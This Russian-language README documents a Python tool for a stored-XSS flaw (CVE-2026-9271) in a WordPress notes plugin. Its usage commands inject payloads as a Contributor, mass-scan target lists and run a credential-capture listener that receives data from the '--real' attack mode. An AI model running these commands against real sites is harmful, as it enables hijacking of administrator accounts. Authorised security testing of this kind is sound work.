
Авторизованный инструмент оценки хранимого XSS для CVE-2026-9271 в плагине WordPress KeepInMind. Обнаруживает уязвимые версии, внедряет безопасные тестовые пейлоады и поддерживает массовое сканирование с отчётами в SQLite.
Авторизованный инструмент оценки безопасности для CVE-2026-9271
Автор: Sudeepa Wanigarathna · Инструмент: KIM-Guardian Pro v1.0
Основной скрипт: CVE-2026-9271.py

[!IMPORTANT] Только авторизованное использование. Этот инструмент предназначен для исследований в области безопасности, обучения и тестирования систем, которыми вы владеете или на оценку которых имеете явное письменное разрешение. Несанкционированный доступ к компьютерным системам незаконен. Автор не несёт ответственности за неправомерное использование.
CVE-2026-9271 — это проблема хранимого межсайтового скриптинга (XSS) в плагине WordPress KeepInMind (Dashboard Notes). Недостаточная очистка содержимого заметок позволяет аутентифицированному пользователю с низкими привилегиями (Contributor+) сохранять HTML/JS, который выполняется в браузере администратора, что может привести к компрометации сессии администратора / захвату учётной записи.
KIM-Guardian Pro (CVE-2026-9271.py) — это инструмент оценки на Python для авторизованных тестировщиков, который позволяет:
reports/| Атрибут | Значение |
|---|---|
| CVE ID | CVE-2026-9271 |
| Вектор атаки | Аутентифицированный пользователь (Contributor+) → хранимый XSS → воздействие на администратора |
| Воздействие | XSS в браузере администратора; потенциальный захват учётной записи в уязвимых установках |
| Затронутый продукт | WordPress KeepInMind / KeepInMind Dashboard Notes |
| Затронутые версии | ≤ 0.8.4.2 (исправлено в 0.8.4.3+) |
| Тип уязвимости | Хранимый межсайтовый скриптинг (XSS) |
| CWE | CWE-79 (Некорректная нейтрализация входных данных при генерации веб-страницы) |
| Поверхность | Роль |
|---|---|
/wp-json/keepinmind/v1/notes | REST API для создания/чтения заметок |
/wp-admin/ | Панель администратора, где могут отображаться сохранённые заметки |
| Путь к плагину | /wp-content/plugins/keepinmind-dashboard-notes/ |
--no-cleanup)| Возможность | Описание |
|---|---|
| Обнаружение плагина | Проверяет пути установки KeepInMind и строки версий |
| Версия WordPress | Извлекает метаданные генератора / версии, когда они доступны |
| Безопасный тестовый режим | Маркер-оверлей по умолчанию, доказывающий XSS без перехвата учётных данных |
| Оценка с аутентификацией | Выполняет вход с учётными данными Contributor+ для полного внедрения через REST API |
| Очистка полезной нагрузки | Удаляет внедрённые заметки после оценки |
| Массовое сканирование | Многопоточное сканирование списка URL на наличие плагина и уязвимой версии |
| История в SQLite | Хранит результаты оценок в kim_guardian.db |
| Текстовые отчёты | Записывает отчёты с меткой времени в каталог reports/ |
| Capture-сервер | Опциональный локальный HTTP-слушатель для лабораторных упражнений по перехвату учётных данных |
| Веб-интерфейс | Опциональная панель Flask (режим web) |
| Возможность | Описание |
|---|---|
| Подробное журналирование | Отладка в файл и консоль в каталоге logs/ |
| Поддержка прокси | Направляет трафик через Burp или другие HTTP-прокси |
| Настраиваемый таймаут | Таймаут на каждый запрос (по умолчанию 30 с) |
| Пул потоков | Регулируемая конкурентность для массовых сканирований |
pipcd /path/to/exploit
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install -r requirements.txt
# Recommended extras used by this script:
pip install colorama beautifulsoup4 requests flask
python3 CVE-2026-9271.py --help
requests>=2.31.0
beautifulsoup4>=4.12.0
colorama>=0.4.6
flask>=3.0.0 # optional — web mode only
Замените
https://lab.exampleтолько на лабораторную или авторизованную цель.
# Help / modes
python3 CVE-2026-9271.py --help
# Safe single-target assessment (default: test payload)
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' -v
# Bulk version / plugin scan
python3 CVE-2026-9271.py bulk -f targets.txt -w 8 -o bulk_results.txt
# List recent assessments from SQLite
python3 CVE-2026-9271.py db --list --limit 20
# Local capture server (lab only)
python3 CVE-2026-9271.py capture --port 5000
# Optional web UI
python3 CVE-2026-9271.py web --host 127.0.0.1 --port 8080
python3 CVE-2026-9271.py --help
python3 CVE-2026-9271.py assess --help
Режим по умолчанию использует тестовый оверлей без перехвата. Укажите учётные данные Contributor+ для внедрения через REST API.
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor \
-p 'password' \
-v
Процесс:
-u / -p)--no-cleanup)reports/kim_assessment_*.txtpython3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' --no-cleanup
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' \
--proxy http://127.0.0.1:8080 \
--timeout 45 \
-v
Требуются базовый URL атакующего/capture-сервера и флаг --real. В лабораторных условиях capture-сервер предпочтительно держать на localhost.
# Terminal 1 — capture listener
python3 CVE-2026-9271.py capture --port 5000
# Terminal 2 — assessment with capture endpoint
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' \
-a http://127.0.0.1:5000 \
--real \
-v
Интерфейс capture-сервера (когда сервер запущен):
| Путь | Назначение |
|---|---|
/ | Страница статуса capture-сервера |
/capture | POST-эндпоинт для отправки форм |
/captured | Недавно перехваченные записи (просмотр в лаборатории) |
# targets.txt — one URL per line
python3 CVE-2026-9271.py bulk -f targets.txt -w 5 -o bulk_scan_results.txt
# Or comma-separated URLs
python3 CVE-2026-9271.py bulk -u "https://a.example,https://b.example" -w 3
Массовые проверки обычно включают признаки WordPress, версию KeepInMind, доступность REST API и наличие wp-login.php.
python3 CVE-2026-9271.py db --list
python3 CVE-2026-9271.py db --list --limit 50
python3 CVE-2026-9271.py web --host 127.0.0.1 --port 8080
По соображениям безопасности по умолчанию выполняется привязка к localhost.
| Режим | Описание |
|---|---|
assess | Оценка KeepInMind по одной цели |
bulk | Сканирование плагина / версий по нескольким целям |
capture | Локальный HTTP-сервер перехвата учётных данных |
web | Опциональный веб-интерфейс Flask |
db | Список сохранённых оценок |
assess| Аргумент | По умолчанию | Описание |
|---|---|---|
url | обязательный | Целевой URL WordPress |
-u, --username | — | Имя пользователя WordPress (Contributor+) |
-p, --password | — | Пароль WordPress |
-a, --attacker | — | Базовый URL capture-сервера (лабораторная симуляция) |
-t, --test | вкл | Отдавать предпочтение безопасной тестовой полезной нагрузке |
-r, --real | выкл | Включить лабораторную атакующую полезную нагрузку (требуется --attacker) |
--no-cleanup | выкл | Оставить внедрённые заметки на месте |
-v, --verbose | выкл | Подробное / отладочное журналирование |
--timeout | 30 | Таймаут запроса (в секундах) |
--proxy | — | URL прокси (например, http://127.0.0.1:8080) |
bulk| Аргумент | По умолчанию | Описание |
|---|---|---|
-f, --file | — | Файл со списком URL (по одному в строке) |
-u, --urls | — | URL через запятую |
-w, --workers | 5 | Размер пула потоков |
-o, --output | bulk_scan_results.txt | Путь к отчёту |
capture| Аргумент | По умолчанию | Описание |
|---|---|---|
--port | 5000 | Порт прослушивания |
web| Аргумент | По умолчанию | Описание |
|---|---|---|
--host | 127.0.0.1 | Адрес привязки |
--port | 8080 | Порт прослушивания |
db| Аргумент | По умолчанию | Описание |
|---|---|---|
--list | выкл | Список последних оценок |
--limit | 10 | Максимальное число отображаемых строк |
Цветной статус для аутентификации, обнаружения плагина, внедрения, проверки и очистки.
Успешные запуски assess записывают файлы вида:
reports/kim_assessment_YYYYMMDD_HHMMSS.txt
| Файл | Назначение |
|---|---|
kim_guardian.db | История оценок (цель, версии, флаг уязвимости, риск, длительность) |
| Путь | Назначение |
|---|---|
logs/kim_pro_*.log | Журналы приложения за каждый запуск |
| Симптом | Что попробовать |
|---|---|
| Аутентификация не удалась | Проверьте учётные данные Contributor+; проверьте /wp-login.php; используйте -v |
| Плагин не обнаружен | Проверьте путь/название KeepInMind; попробуйте подробный режим |
| Внедрение через REST не работает | Проверьте аутентификацию и nonce; проанализируйте трафик через Burp с --proxy |
| Таймаут / ошибки подключения | Увеличьте --timeout; проверьте сеть / TLS / прокси |
| Уязвимость не обнаружена в тестовом режиме | Подтвердите версию ≤ 0.8.4.2; убедитесь, что заметки отображаются у администратора |
Flask отсутствует в режиме web | pip install flask |
| BeautifulSoup отсутствует | pip install beautifulsoup4 |
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' \
--proxy http://127.0.0.1:8080 \
-v
exploit/
├── CVE-2026-9271.py # KIM-Guardian Pro (v1.0)
├── requirements.txt # Python dependencies
├── README.md # This file
├── kim_guardian.db # SQLite assessment history (generated)
├── logs/ # Runtime logs (generated)
├── reports/ # Assessment text reports (generated)
└── venv/ # Local virtualenv (optional)
Этот проект предоставляется как есть для оборонительных исследований в области безопасности и авторизованного пентестинга.
Используя данное программное обеспечение, вы соглашаетесь с тем, что:
Если вы обнаружили эту проблему в производственных системах, которыми не владеете, следуйте процедуре ответственного раскрытия, уведомив владельца сайта и сопровождающего плагина.
Несанкционированный доступ к компьютерным системам незаконен.
| Роль | Имя |
|---|---|
| Автор инструмента | Sudeepa Wanigarathna |
| CVE | CVE-2026-9271 |
| Инструмент | KIM-Guardian Pro v1.0 |
| Основной скрипт | CVE-2026-9271.py |
| Лицензия | Образовательное / оборонительное использование |
Только для образовательного / оборонительного использования
Copyright (c) 2026 Sudeepa Wanigarathna
Разрешается использовать данное программное обеспечение только для авторизованных
исследований в области безопасности, обучения и оборонительных оценок.
ПРОГРАММНОЕ ОБЕСПЕЧЕНИЕ ПРЕДОСТАВЛЯЕТСЯ «КАК ЕСТЬ», БЕЗ КАКИХ-ЛИБО ГАРАНТИЙ,
ЯВНЫХ ИЛИ ПОДРАЗУМЕВАЕМЫХ, ВКЛЮЧАЯ, НО НЕ ОГРАНИЧИВАЯСЬ, ГАРАНТИЯМИ ТОВАРНОЙ
ПРИГОДНОСТИ, СООТВЕТСТВИЯ КОНКРЕТНОМУ НАЗНАЧЕНИЮ И ОТСУТСТВИЯ НАРУШЕНИЯ ПРАВ.
Только для авторизованного тестирования безопасности.